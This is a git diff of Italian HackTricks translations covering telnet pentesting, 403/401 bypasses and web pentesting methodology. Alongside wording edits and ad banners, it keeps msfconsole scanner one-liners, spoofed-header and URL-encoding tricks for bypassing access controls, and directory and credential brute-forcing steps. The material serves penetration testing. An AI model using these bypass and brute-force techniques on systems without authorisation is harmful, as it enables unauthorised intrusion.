[https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) -
+
Se sei interessato a una **carriera nel campo dell'hacking** e vuoi hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza nella lingua polacca scritta e parlata_). @@ -59,8 +59,8 @@ Se sei interessato a una **carriera nel campo dell'hacking** e vuoi hackerare l' Impara l'hacking su AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)! -* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la **tua azienda pubblicizzata su HackTricks**? o vuoi avere accesso all'**ultima versione del PEASS o scaricare HackTricks in PDF**? Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! -* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family) +* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata su HackTricks**? o vuoi avere accesso all'**ultima versione del PEASS o scaricare HackTricks in PDF**? Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family) * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Condividi i tuoi trucchi di hacking inviando PR al** [**repo di hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo di hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/network-services-pentesting/pentesting-telnet.md b/network-services-pentesting/pentesting-telnet.md index 65108b86c..4a8f6c843 100644 --- a/network-services-pentesting/pentesting-telnet.md +++ b/network-services-pentesting/pentesting-telnet.md @@ -2,7 +2,7 @@
-Impara l'hacking su AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)! +Impara l'hacking su AWS da zero a esperto con htARTE (Esperto Red Team AWS di HackTricks)! Altri modi per supportare HackTricks: @@ -10,11 +10,11 @@ Altri modi per supportare HackTricks: * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. +* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai repository github di [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
-
+
**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un test di penetrazione completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per dare loro più tempo per approfondire, aprire shell e divertirsi. @@ -84,9 +84,9 @@ Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/brocade_enable_login; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_encrypt_overflow; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_ruggedcom; set RHOSTS {IP}; set RPORT 23; run; exit' ``` -
+
-**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla generazione di report. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per permettere loro di approfondire, ottenere shell e divertirsi. +**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla generazione di report. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per restituire loro del tempo per approfondire, aprire shell e divertirsi. {% embed url="https://pentest-tools.com/" %} @@ -96,10 +96,10 @@ Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOS Altri modi per supportare HackTricks: -* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) -* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) +* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family) * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai repository github di [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di github. diff --git a/network-services-pentesting/pentesting-web/403-and-401-bypasses.md b/network-services-pentesting/pentesting-web/403-and-401-bypasses.md index 3c28f8b02..54a4d4a71 100644 --- a/network-services-pentesting/pentesting-web/403-and-401-bypasses.md +++ b/network-services-pentesting/pentesting-web/403-and-401-bypasses.md @@ -2,7 +2,7 @@
-Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)! +Impara l'hacking AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)! Altri modi per supportare HackTricks: @@ -14,7 +14,7 @@ Altri modi per supportare HackTricks:
-
+
**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e penetration testing**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per dare loro più tempo per approfondire, aprire shell e divertirsi. @@ -32,7 +32,7 @@ Prova a utilizzare **verbi diversi** per accedere al file: `GET, HEAD, POST, PUT * **Cambia l'header Host** con un valore arbitrario ([che ha funzionato qui](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31)) * Prova a [**usare altri User Agents**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) per accedere alla risorsa. -* **Fuzz degli Header HTTP**: Prova ad utilizzare gli **Header** del Proxy HTTP, l'autenticazione HTTP Basic e il brute-force NTLM (con poche combinazioni) e altre tecniche. Per fare tutto ciò ho creato lo strumento [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass). +* **Fuzz degli Header HTTP**: Prova ad utilizzare **Headers** di Proxy HTTP, Autenticazione HTTP di Base e forza bruta NTLM (con poche combinazioni) e altre tecniche. Per fare tutto ciò ho creato lo strumento [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass). * `X-Originating-IP: 127.0.0.1` * `X-Forwarded-For: 127.0.0.1` @@ -53,7 +53,7 @@ Se il **percorso è protetto** puoi provare a bypassare la protezione del percor * `X-Original-URL: /admin/console` * `X-Rewrite-URL: /admin/console` * Se la pagina è **dietro un proxy**, forse è il proxy quello che ti impedisce di accedere alle informazioni private. Prova ad abusare di [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/) **o** [**header hop-by-hop**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.** -* Fuzz degli [**header HTTP speciali**](special-http-headers.md) cercando una risposta diversa. +* Fuzz degli [**header HTTP speciali**](special-http-headers.md) cercando risposte diverse. * **Fuzz degli header HTTP speciali** mentre fuzzi i **Metodi HTTP**. * **Rimuovi l'header Host** e forse sarai in grado di bypassare la protezione. @@ -61,8 +61,8 @@ Se il **percorso è protetto** puoi provare a bypassare la protezione del percor Se _/percorso_ è bloccato: -* Prova a utilizzare _**/**_**%2e/percorso \_(se l'accesso è bloccato da un proxy, questo potrebbe bypassare la protezione). Prova anche**\_\*\* /%252e\*\*/percorso (doppio URL encode) -* Prova il **bypass Unicode**: _/**%ef%bc%8f**percorso_ (I caratteri codificati URL sono come "/") quindi quando decodificati torneranno a essere _//percorso_ e forse avrai già bypassato il controllo del nome _/percorso_ +* Prova a utilizzare _**/**_**%2e/percorso \_(se l'accesso è bloccato da un proxy, questo potrebbe bypassare la protezione). Prova anche**\_\*\* /%252e\*\*/percorso (doppio URL encoding) +* Prova il **bypass Unicode**: _/**%ef%bc%8f**percorso_ (I caratteri codificati nell'URL sono come "/") quindi quando decodificati torneranno a essere _//percorso_ e forse avrai già bypassato il controllo del nome _/percorso_ * **Altri bypass del percorso**: * sito.com/segreto –> HTTP 403 Forbidden * sito.com/SEGRETO –> HTTP 200 OK @@ -94,7 +94,7 @@ Se _/percorso_ è bloccato: * Rimuovere i parametri * Riordinare i parametri * Utilizzare caratteri speciali. -* Eseguire test di boundary nei parametri - fornire valori come _-234_ o _0_ o _99999999_ (solo alcuni valori di esempio). +* Eseguire test di boundary testing nei parametri - fornire valori come _-234_ o _0_ o _99999999_ (solo alcuni valori di esempio). ## **Versione del protocollo** @@ -107,7 +107,7 @@ Se si utilizza HTTP/1.1 **provare a utilizzare 1.0** o testare se **supporta 2.0 * **Cambiare il protocollo**: da http a https, o da https a http * Andare su [**https://archive.org/web/**](https://archive.org/web/) e verificare se in passato quel file era **accessibile in tutto il mondo**. -## **Forza bruta** +## **Brute Force** * **Indovinare la password**: Testare le seguenti credenziali comuni. Sai qualcosa sulla vittima? O sul nome della sfida CTF? * [**Forza bruta**](../../generic-methodologies-and-resources/brute-force.md#http-brute)**:** Provare autenticazioni di base, digest e NTLM. @@ -133,22 +133,22 @@ guest guest * [Estensione Burp - 403 Bypasser](https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122) * [Forbidden Buster](https://github.com/Sn1r/Forbidden-Buster) -
+
-**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla generazione di report. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per permettere loro di dedicare più tempo a scavare più in profondità, aprire shell e divertirsi. +**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla generazione di report. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per permettere loro di dedicarsi a approfondire, ottenere shell e divertirsi. {% embed url="https://pentest-tools.com/" %}
-Impara l'hacking su AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)! +Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)! Altri modi per supportare HackTricks: -* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! -* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com) -* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family) +* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) +* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family) * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di github. +* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/network-services-pentesting/pentesting-web/README.md b/network-services-pentesting/pentesting-web/README.md index baf7d0eea..d2c2f2b6d 100644 --- a/network-services-pentesting/pentesting-web/README.md +++ b/network-services-pentesting/pentesting-web/README.md @@ -1,8 +1,8 @@ -# 80,443 - Metodologia del Pentesting Web +# 80,443 - Metodologia di Pentesting Web
-Impara l'hacking su AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)! +Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)! Altri modi per supportare HackTricks: @@ -14,7 +14,7 @@ Altri modi per supportare HackTricks:
-
+
Se sei interessato alla **carriera dell'hacking** e vuoi hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza in polacco scritto e parlato_). @@ -45,19 +45,19 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0 > In questa metodologia supponiamo che tu stia per attaccare un dominio (o sottodominio) e solo quello. Quindi, dovresti applicare questa metodologia a ciascun dominio, sottodominio o IP scoperto con un server web non determinato all'interno del perimetro. -* [ ] Inizia **identificando** le **tecnologie** utilizzate dal server web. Cerca **trucchi** da tenere a mente durante il resto del test se riesci a identificare con successo la tecnologia. +* [ ] Inizia con **identificare** le **tecnologie** utilizzate dal server web. Cerca **trucchi** da tenere a mente durante il resto del test se riesci a identificare con successo la tecnologia. * [ ] Ci sono **vulnerabilità conosciute** della versione della tecnologia? * [ ] Utilizzando una **tecnologia ben nota**? Qualche **trucco utile** per estrarre più informazioni? * [ ] Qualsiasi **scanner specializzato** da eseguire (come wpscan)? -* [ ] Avvia **scanner a scopo generale**. Non si sa mai se troveranno qualcosa o se troveranno informazioni interessanti. +* [ ] Avvia **scanner a scopo generale**. Non si sa mai se troveranno qualcosa o informazioni interessanti. * [ ] Inizia con i **controlli iniziali**: **robots**, **sitemap**, errore **404** e scansione **SSL/TLS** (se HTTPS). -* [ ] Inizia a **spiderizzare** la pagina web: È il momento di **trovare** tutti i possibili **file, cartelle** e **parametri in uso**. Controlla anche per **trovare speciali** scoperte. +* [ ] Inizia a **spiderizzare** la pagina web: È il momento di **trovare** tutti i possibili **file, cartelle** e **parametri utilizzati**. Controlla anche per **trovare speciali** scoperte. * [ ] _Nota che ogni volta che viene scoperta una nuova directory durante il brute-forcing o lo spidering, dovrebbe essere spiderizzata._ * [ ] **Brute-Force delle directory**: Prova a forzare tutte le cartelle scoperte cercando nuovi **file** e **directory**. * [ ] _Nota che ogni volta che viene scoperta una nuova directory durante il brute-forcing o lo spidering, dovrebbe essere forzata._ * [ ] **Controllo dei backup**: Verifica se puoi trovare **backup** dei **file scoperti** aggiungendo estensioni di backup comuni. * [ ] **Forza bruta dei parametri**: Prova a **trovare parametri nascosti**. -* [ ] Una volta che hai **identificato** tutti i possibili **punti finali** che accettano **input utente**, controlla tutti i tipi di **vulnerabilità** ad esse correlate. +* [ ] Una volta che hai **identificato** tutti i possibili **punti di accesso** che accettano **input utente**, controlla tutti i tipi di **vulnerabilità** ad esse correlate. * [ ] [Segui questa checklist](../../pentesting-web/web-vulnerabilities-methodology.md) ## Versione del Server (Vulnerabile?) @@ -65,7 +65,7 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0 ### Identificare Controlla se ci sono **vulnerabilità conosciute** per la versione del server in esecuzione.\ -Gli **intestazioni HTTP e i cookie della risposta** potrebbero essere molto utili per **identificare** le **tecnologie** e/o la **versione** in uso. La scansione **Nmap** può identificare la versione del server, ma potrebbero essere utili anche gli strumenti [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)o [**https://builtwith.com/**](https://builtwith.com)**:** +Gli **intestazioni HTTP e i cookie della risposta** potrebbero essere molto utili per **identificare** le **tecnologie** e/o la **versione** in uso. La scansione **Nmap** può identificare la versione del server, ma potrebbero essere utili anche gli strumenti [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech) o [**https://builtwith.com/**](https://builtwith.com)**:** ```bash whatweb -a 1 #Stealthy whatweb -a 3 #Aggresive @@ -89,7 +89,7 @@ Alcuni **trucchi** per **trovare vulnerabilità** in diverse **tecnologie** ben * [**Artifactory**](artifactory-hacking-guide.md) * [**Buckets**](buckets/) * [**CGI**](cgi.md) -* [**Drupal**](drupal.md) +* [**Drupal**](drupal/) * [**Flask**](flask.md) * [**Git**](git.md) * [**Golang**](golang.md) @@ -123,7 +123,7 @@ Se l'applicazione web sta utilizzando una **tecnologia/piattaforma nota** o **qu Se il **codice sorgente** dell'applicazione è disponibile su **github**, oltre a eseguire un **test White box** dell'applicazione, ci sono **alcune informazioni** che potrebbero essere **utili** per il **test Black-Box** attuale: -* C'è un file **Change-log o Readme o Version** o qualsiasi cosa con **informazioni sulla versione accessibili** via web? +* C'è un file **Change-log o Readme o Version** o qualcosa con **informazioni sulla versione accessibili** via web? * Come e dove vengono salvate le **credenziali**? C'è un file (accessibile?) con credenziali (nomi utente o password)? * Le **password** sono in **testo normale**, **criptate** o quale **algoritmo di hash** viene utilizzato? * Sta utilizzando una **chiave principale** per crittografare qualcosa? Quale **algoritmo** viene utilizzato? @@ -150,13 +150,13 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi ``` #### Scanner CMS -Se viene utilizzato un CMS non dimenticare di **eseguire uno scanner**, potrebbe essere trovato qualcosa di interessante: +Se viene utilizzato un CMS non dimenticare di **eseguire uno scanner**, forse si trova qualcosa di interessante: [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\ -[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal.md), **Joomla**, **vBulletin** siti web per problemi di sicurezza. (GUI)\ -[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal.md)**, PrestaShop, Opencart**\ -**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal.md) **o** [**(M)oodle**](moodle.md)\ -[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal.md)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md) +[**CMSScan**](https://github.com/ajinabraham/CMSScan): siti web [**WordPress**](wordpress.md), [**Drupal**](drupal/), **Joomla**, **vBulletin** per problemi di sicurezza. (GUI)\ +[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/)**, PrestaShop, Opencart**\ +**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/) **o** [**(M)oodle**](moodle.md)\ +[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md) ```bash cmsmap [-f W] -F -d wpscan --force update -e --url @@ -194,14 +194,14 @@ I server web possono **comportarsi in modo imprevisto** quando vengono inviati l Se scopri che **WebDav** è **abilitato** ma non hai abbastanza autorizzazioni per **caricare file** nella cartella principale, prova a: * **Forzare** le credenziali -* **Caricare file** tramite WebDav nel **resto delle cartelle** trovate all'interno della pagina web. Potresti avere autorizzazioni per caricare file in altre cartelle. +* **Caricare file** tramite WebDav al **resto delle cartelle** trovate all'interno della pagina web. Potresti avere autorizzazioni per caricare file in altre cartelle. ### **Vulnerabilità SSL/TLS** * Se l'applicazione **non forza l'uso di HTTPS** in nessuna parte, allora è **vulnerabile a MitM** * Se l'applicazione **invia dati sensibili (password) tramite HTTP**. Allora è una vulnerabilità elevata. -Utilizza [**testssl.sh**](https://github.com/drwetter/testssl.sh) per verificare le **vulnerabilità** (Nei programmi di Bug Bounty probabilmente queste tipologie di vulnerabilità non saranno accettate) e utilizza [**a2sv** ](https://github.com/hahwul/a2sv) per ricontrallare le vulnerabilità: +Utilizza [**testssl.sh**](https://github.com/drwetter/testssl.sh) per verificare le **vulnerabilità** (nei programmi Bug Bounty probabilmente queste vulnerabilità non saranno accettate) e utilizza [**a2sv**](https://github.com/hahwul/a2sv) per ricontrallare le vulnerabilità: ```bash ./testssl.sh [--htmlfile] 10.10.10.10:443 #Use the --htmlfile to save the output inside an htmlfile also @@ -229,7 +229,7 @@ Lancia una sorta di **spider** all'interno del web. L'obiettivo del ragno è **t * [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Questo script troverà URL con parametri e li elencherà. * [**galer**](https://github.com/dwisiswant0/galer) (go): ragno HTML con capacità di rendering JS. * [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): ragno HTML, con capacità di bellezza JS in grado di cercare nuovi percorsi nei file JS. Potrebbe valere la pena dare un'occhiata anche a [JSScanner](https://github.com/dark-warlord14/JSScanner), che è un wrapper di LinkFinder. -* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Per estrarre endpoint sia dalla sorgente HTML che dai file javascript incorporati. Utile per cacciatori di bug, red teamers, ninja della sicurezza informatica. +* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Per estrarre endpoint sia nella sorgente HTML che nei file javascript incorporati. Utile per cacciatori di bug, red teamers, ninja della sicurezza informatica. * [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Uno script python 2.7 che utilizza Tornado e JSBeautifier per analizzare URL relativi dai file JavaScript. Utile per scoprire facilmente le richieste AJAX. Sembra non essere mantenuto. * [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dato un file (HTML) estrarrà gli URL da esso utilizzando una nifty espressione regolare per trovare ed estrarre gli URL relativi dai file brutti (minify). * [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, diversi strumenti): Raccogli informazioni interessanti dai file JS utilizzando diversi strumenti. @@ -248,7 +248,7 @@ Lancia una sorta di **spider** all'interno del web. L'obiettivo del ragno è **t ### Forza bruta su directory e file -Inizia la **forza bruta** dalla cartella radice e assicurati di forzare la **tutte** le **directory trovate** utilizzando **questo metodo** e tutte le directory **scoperte** dal **Spidering** (puoi fare questa forza bruta **ricorsivamente** e aggiungendo all'inizio della wordlist utilizzata i nomi delle directory trovate).\ +Inizia a **forzare la ricerca** dalla cartella radice e assicurati di forzare la ricerca su **tutte** le **directory trovate** utilizzando **questo metodo** e tutte le directory **scoperte** dal **Spidering** (puoi fare questa forza bruta in modo **ricorsivo** e aggiungendo all'inizio della wordlist utilizzata i nomi delle directory trovate).\ Strumenti: * **Dirb** / **Dirbuster** - Incluso in Kali, **vecchio** (e **lento**) ma funzionale. Consente certificati auto-firmati e ricerca ricorsiva. Troppo lento rispetto alle altre opzioni. @@ -265,7 +265,7 @@ Strumenti: **Dizionari consigliati:** * [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt) -* Dizionario incluso in **Dirsearch** (https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt) +* Dizionario incluso in **Dirsearch** * [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10) * [Wordlists di Assetnote](https://wordlists.assetnote.io) * [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content) @@ -281,21 +281,21 @@ Strumenti: * _/usr/share/wordlists/dirb/big.txt_ * _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_ -_Nota che ogni volta che viene scoperta una nuova directory durante il brute-forcing o lo spidering, dovrebbe essere Brute-Forced._ +_Nota che ogni volta che viene scoperta una nuova directory durante il brute-forcing o lo spidering, dovrebbe essere sottoposta a Brute-Force._ -### Cosa controllare su ciascun file trovato +### Cosa controllare su ogni file trovato -* [**Controllo dei link rotti**](https://github.com/stevenvachon/broken-link-checker): Trova i link rotti all'interno degli HTML che potrebbero essere vulnerabili agli attacchi di takeover +* [**Verifica dei link rotti**](https://github.com/stevenvachon/broken-link-checker): Trova i link rotti all'interno degli HTML che potrebbero essere vulnerabili agli attacchi di takeover * **Backup dei file**: Una volta trovati tutti i file, cerca i backup di tutti i file eseguibili ("_.php_", "_.aspx_"...). Le variazioni comuni per nominare un backup sono: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp e file.old._ Puoi anche utilizzare lo strumento [**bfac**](https://github.com/mazen160/bfac) **o** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** -* **Scoprire nuovi parametri**: Puoi utilizzare strumenti come [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **e** [**Param Miner**](https://github.com/PortSwigger/param-miner) **per scoprire parametri nascosti. Se possibile, potresti provare a cercare** parametri nascosti in ciascun file web eseguibile. +* **Scopri nuovi parametri**: Puoi utilizzare strumenti come [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **e** [**Param Miner**](https://github.com/PortSwigger/param-miner) **per scoprire parametri nascosti. Se possibile, potresti provare a cercare** parametri nascosti in ogni file web eseguibile. * _Tutti i wordlist predefiniti di Arjun:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) * _Param-miner "params" :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params) * _Assetnote "parameters\_top\_1m":_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) * _nullenc0de "params.txt":_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) -* **Commenti:** Controlla i commenti di tutti i file, puoi trovare **credenziali** o **funzionalità nascoste**. -* Se stai giocando a **CTF**, un "trucco" comune è **nascondere informazioni** nei commenti a destra della pagina (usando **centinaia di spazi** in modo che non si vedano i dati se apri il codice sorgente con il browser). Un'altra possibilità è utilizzare **diverse nuove righe** e **nascondere informazioni** in un commento in fondo alla pagina web. -* **Chiavi API**: Se **trovi una qualsiasi chiave API** c'è una guida che indica come utilizzare le chiavi API di piattaforme diverse: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) -* Chiavi API Google: Se trovi una chiave API che assomiglia a **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik puoi utilizzare il progetto [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) per controllare a quali API la chiave può accedere. +* **Commenti:** Controlla i commenti di tutti i file, potresti trovare **credenziali** o **funzionalità nascoste**. +* Se stai giocando a **CTF**, un "trucco" comune è **nascondere informazioni** nei commenti alla **destra** della **pagina** (usando **centinaia** di **spazi** in modo che non si vedano i dati se apri il codice sorgente con il browser). Un'altra possibilità è utilizzare **diverse righe vuote** e **nascondere informazioni** in un commento in fondo alla pagina web. +* **Chiavi API**: Se trovi **qualche chiave API** c'è una guida che indica come utilizzare le chiavi API di piattaforme diverse: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** 